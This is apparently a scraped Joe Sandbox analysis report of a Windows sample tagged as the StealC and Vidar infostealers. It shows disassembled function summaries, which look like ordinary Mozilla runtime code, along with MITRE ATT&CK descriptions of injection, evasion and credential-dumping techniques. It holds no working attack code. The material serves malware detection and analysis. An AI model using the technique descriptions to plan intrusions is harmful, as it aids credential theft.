Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction ID: bd6b868022999ba29037bf29b4005b9ed930a472948d0ebc06e795674a2183bc
Opcode Fuzzy Hash: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction Fuzzy Hash: E6110135E04698DBDF019B69CC144EEB775EF86358F45D228DC499B622FB30A9C4C390

Function 6C514730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

Strings

GetNtLoaderAPI, xrefs: 6C514744

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction ID: a54f0dbe2b57cb7c67af60659ea85034c901cfc754fe3300ae7a35d04a150ca2
Opcode Fuzzy Hash: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction Fuzzy Hash: B40140753062649FDF00AF66CC4861E7BF9EB8B325B06546AE905C7710DB74D802CFA5

Function 6C566DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C566E22
__Init_thread_footer.LIBCMT ref: 6C566E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C566E1D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction ID: 26d9144cf58e9693d2f3484741602e63cec8c66f05dd20cb94e197a5262779c8
Opcode Fuzzy Hash: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction Fuzzy Hash: C8F05934607350CBDA008BAACC60A8333715B4B218F052365C40546FB1DF30BD26CBA7

Function 6C519E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C519EEF

Strings

Infinity, xrefs: 6C519EB7
NaN, xrefs: 6C519EC1

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction ID: 7460488cda418c7958a040953e407b880e7240443305e3f3178a405367b36de6
Opcode Fuzzy Hash: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction Fuzzy Hash: 37F0AF70603261CAEB00DF58DC4974077B1B34B308F222B14C7040AB81E7356596CB9A

Function 6C516C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C42

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C58

Strings

0KTl, xrefs: 6C516C33, 6C516C41, 6C516C57

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KTl
API String ID: 1967447596-930345151
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 87624251b712052eb1f516409c5e997f5ea87ad0de175e8098be1e83e97f8eab
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 35E086F2B5C7054AFB08D97C9C0D56A71C8CB742ACB044A35E822C6FC8FF55ED908151

Function 6C513850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58F860), ref: 6C51385C
ReleaseSRWLockExclusive.KERNEL32(6C58F860,?), ref: 6C513871

Strings

,Xl, xrefs: 6C51387A

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Xl
API String ID: 17069307-3587833152
Opcode ID: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction ID: dec8cd58306a0aecb73ac7c0ff9700a3992f623b46d0a4df4993b6a4213f1068
Opcode Fuzzy Hash: 432389b5d0052e61918a9fed8db4d53e6bd69c1b7c17f1a9dc8e03b81c4a1410
Instruction Fuzzy Hash: 64E0DF3290BA38B7DB01AF968C1998A7BB8EE4B6A03069205E40A17E00C770A4408AD9

Function 6C51BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C51BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C51BEF5

Strings

cryptbase.dll, xrefs: 6C51BEF0

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction ID: a3176ae7928875015c0b054dc4a2bb7b380ec8e880f7aeb25bedd765c949f61e
Opcode Fuzzy Hash: e4577097af7c451c36fba5091879396ad56cc11e28f5e56c9e4b45fd6377a31d
Instruction Fuzzy Hash: 1ED0C731185118EAEA40BA508D09B153B7D9706715F10C421F75554E51C7B19454CB65

Function 6C55B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B628

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C55B2C9,?,?,?,6C55B127,?,?,?,?,?,?,?,?,?,6C55AE52), ref: 6C55B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C55B127,?,?,?,?,?,?,?,?), ref: 6C55B74D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction ID: 48600dc08a631be42a90a6ff6e26599b09e917d2a5fb5563967aeafbad67d5aa
Opcode Fuzzy Hash: 5ef24d0ab5dd323c01c1c6e1b04e62719eafdf1518d527474df51bc39d2640ac
Instruction Fuzzy Hash: 0851DFB1A01216CFDB14DF58CD8876EB7B1FF85304F95852EC85AAB750D731A824CBA1

Function 6C55DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C54FF2A), ref: 6C55DFFD

Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C5590FF
Part of subcall function 6C5590E0: free.MOZGLUE(?,00000000,?,?,6C55DEDB), ref: 6C559108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C54FF2A), ref: 6C55E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C54FF2A), ref: 6C55E0FE

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction ID: c0e16941a1848438724a655da4934b272d3fc5769c063fbae02e20d06b3af938
Opcode Fuzzy Hash: 4303c3f838a9595ff1774597f5fcc0f54a6c50a6c889a96ae6a55ed6fd0e926b
Instruction Fuzzy Hash: 0141E1B1704216CFEB14CF68CC8035E73B6AB46308F95093AD516DBB50E7B5E925CB92

Function 6C556E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C556EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C556EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C556F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C556F5C

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction ID: 7ae028fcb5236191282562114de202f9ba0ff924db6db96e7c2955bfe7c63a71
Opcode Fuzzy Hash: a38d930c83d3c2214f6d606bc7e33a4621a93588e7a8469de95543f5978944b5
Instruction Fuzzy Hash: D431F471B1160A8FDB14CF2CCC806AE73E9AF85344F90463AD41AC7B55EF32E6698791

Function 6C56B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C510A4D), ref: 6C56B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C510A4D), ref: 6C56B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C510A4D), ref: 6C56B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C510A4D), ref: 6C56B67F

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction ID: 9677ddd2ef55a37d32480d32489bdd94da3c5f95e51adf3811c1a75834c27841
Opcode Fuzzy Hash: c6038847a722853134884b0ec79add3c7d2b1185787cab6b670a0a1f68f65a66
Instruction Fuzzy Hash: 93310671A012268FDB10EF59CC4465EBBF5FF81304F168A29D8069BB21EB31E915CBE1

Function 6C53F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C53F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C53F668

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 365fa5be9a379836fb3a3392c46343612a3c9516a906b2bafd87d5ed0c49df04
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: F4313071A006249FD724CF59CCC0A9E77B5EBC4358B148679FA498BB15E731FD848BA0

Function 6C5526B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526C1
free.MOZGLUE(?), ref: 6C5526E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5526FF
free.MOZGLUE ref: 6C55270D

Memory Dump Source

Source File: 00000000.00000002.2100863961.000000006C501000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2100831385.000000006C500000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100928308.000000006C57D000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100965329.000000006C58E000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000000.00000002.2100998756.000000006C592000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction ID: f2de665ab08d7fefca0d2075f3dacaf15d406baa4b59aa8ac780d018eabbac65
Opcode Fuzzy Hash: 0ea78326c12b58b96e30fab76bec2c4df400d67bd76906544c39e65d49406793
Instruction Fuzzy Hash: 8FF0A9B27012015BEB009A58ECC495B73A9EF51258B950136EA1AD3B41E731F929C796

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

